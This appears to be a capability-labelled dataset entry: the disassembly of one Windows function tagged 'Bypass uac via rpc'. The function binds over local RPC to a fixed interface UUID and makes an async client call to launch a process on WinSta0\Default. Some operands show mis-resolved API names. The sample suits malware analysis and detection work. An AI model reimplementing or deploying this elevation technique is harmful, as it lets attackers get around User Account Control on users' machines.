Function at 0x18001e440
Capabilities:
Bypass uac via rpc

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x1b0
mov rax, qword [0x1800634c0]
xor rax, rsp
mov qword [rsp + 0x1a0], rax
mov r13d, r8d
mov r12, rdx
mov r15, rcx
mov rbx, qword [rsp + 0x238]
xor r14b, r14b
xor esi, esi
mov qword [rsp + 0xa8], rsi
mov dword [rsp + 0x160], esi
test rbx, rbx
je 0x18001e49a
mov qword [rbx], rsi
mov qword [rbx + 8], rsi
mov qword [rbx + 0x10], rsi
lea rdi, [rsp + 0xb0]
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rdi, [rsp + 0x168]
mov ecx, gethostname
rep stosb byte [rdi], al
mov dword [rsp + 0x18c], 1
mov word [rsp + 0x190], si
lea rdi, [rsp + 0xf0]
mov ecx, WSAStartup
rep stosb byte [rdi], al
mov qword [rsp + 0x98], rsi
mov qword [rsp + 0x88], rsi
mov dword [rsp + 0x90], 0x44
mov qword [rsp + 0xa0], rsi
lea rdi, [rsp + 0xc8]
mov ecx, 0x28
rep stosb byte [rdi], al
lea rax, [rsp + 0x98]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor r8d, r8d
lea rdx, str.ncalrpc
lea rcx, str.201ef99a_7fa0_444c_9399_19ba84f12a1a
call qword [sym.imp.RPCRT4.dll_RpcStringBindingComposeW]
mov edi, eax
test eax, eax
jne 0x18001e655
lea rdx, [rsp + 0x88]
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.RPCRT4.dll_RpcBindingFromStringBindingW]
mov edi, eax
lea rcx, [rsp + 0x98]
call qword [sym.imp.RPCRT4.dll_RpcStringFreeW]
test edi, edi
jne 0x18001e655
mov edx, dword [rsp + 0x90]
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rsi, rax
test rax, rax
je 0x18001e64e
lea r9, [rsp + 0x90]
mov r8, rax
xor edx, edx
mov ecx, reloc.WS2_32.dll_shutdown
call qword [sym.imp.ADVAPI32.dll_CreateWellKnownSid]
test eax, eax
je 0x18001e63b
mov dword [rsp + 0xc8], 3
mov dword [rsp + 0xd4], 3
mov qword [rsp + 0xcc], 1
xor ecx, ecx
mov qword [rsp + 0xe8], rsi
lea rax, [rsp + 0xc8]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rcx
xor edx, edx
mov r9d, 0xa
mov r8d, 6
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.RPCRT4.dll_RpcBindingSetAuthInfoExW]
mov edi, eax
test eax, eax
jne 0x18001e643
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0x88], 0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x18001e653
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x18001e653
mov edi, 8
xor esi, esi
cmp qword [rsp + 0x88], 0
je 0x18001e66e
lea rcx, [rsp + 0x88]
call qword [sym.imp.RPCRT4.dll_RpcBindingFree]
test edi, edi
jne 0x18001e808
mov edx, WSAStartup
lea rcx, [rsp + 0xf0]
call qword [sym.imp.RPCRT4.dll_RpcAsyncInitializeHandle]
mov edi, eax
test eax, eax
jne 0x18001e6bf
mov dword [rsp + 0x11c], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x120], rax
test rax, rax
jne 0x18001e6bf
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
test edi, edi
jne 0x18001e808
lea rax, [rsp + 0x160]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x60], 0xffffffff
mov qword [rsp + 0x58], rsi
lea rax, [rsp + 0x168]
mov qword [rsp + 0x50], rax
lea rax, str.WinSta0Default
mov qword [rsp + 0x48], rax
lea rax, str.C:windows_
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x38], 0x401
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r15
mov r9, qword [rsp + 0xa0]
lea r8, [rsp + 0xf0]
lea rdx, [0x18005ad72]
lea rcx, [0x18005acd0]
call qword [sym.imp.RPCRT4.dll_NdrAsyncClientCall]
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x120]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0xffffffff
jne 0x18001e771
mov ecx, 0xffffffff
call qword [sym.imp.RPCRT4.dll_RpcRaiseException]
lea rdx, [rsp + 0xa8]
lea rcx, [rsp + 0xf0]
call qword [sym.imp.RPCRT4.dll_RpcAsyncCompleteCall]
test eax, eax
jne 0x18001e7d1
cmp qword [rsp + 0xa8], 0
jne 0x18001e7d1
test rbx, rbx
je 0x18001e7c6
mov rax, qword [rsp + 0xb0]
mov qword [rbx], rax
mov rax, qword [rsp + 0xb8]
mov qword [rbx + 8], rax
mov eax, dword [rsp + 0xc0]
mov dword [rbx + 0x10], eax
mov eax, dword [rsp + 0xc4]
mov dword [rbx + 0x14], eax
mov r14b, 1
mov byte [rsp + 0x80], r14b
mov rcx, qword [rsp + 0x120]
test rcx, rcx
je 0x18001e7ec
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x120], rsi
lea rcx, [rsp + 0xa0]
call qword [sym.imp.RPCRT4.dll_RpcBindingFree]
jmp 0x18001e808
movzx eax, r14b
mov rcx, qword [rsp + 0x1a0]
xor rcx, rsp
call fcn.180048990
add rsp, 0x1b0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret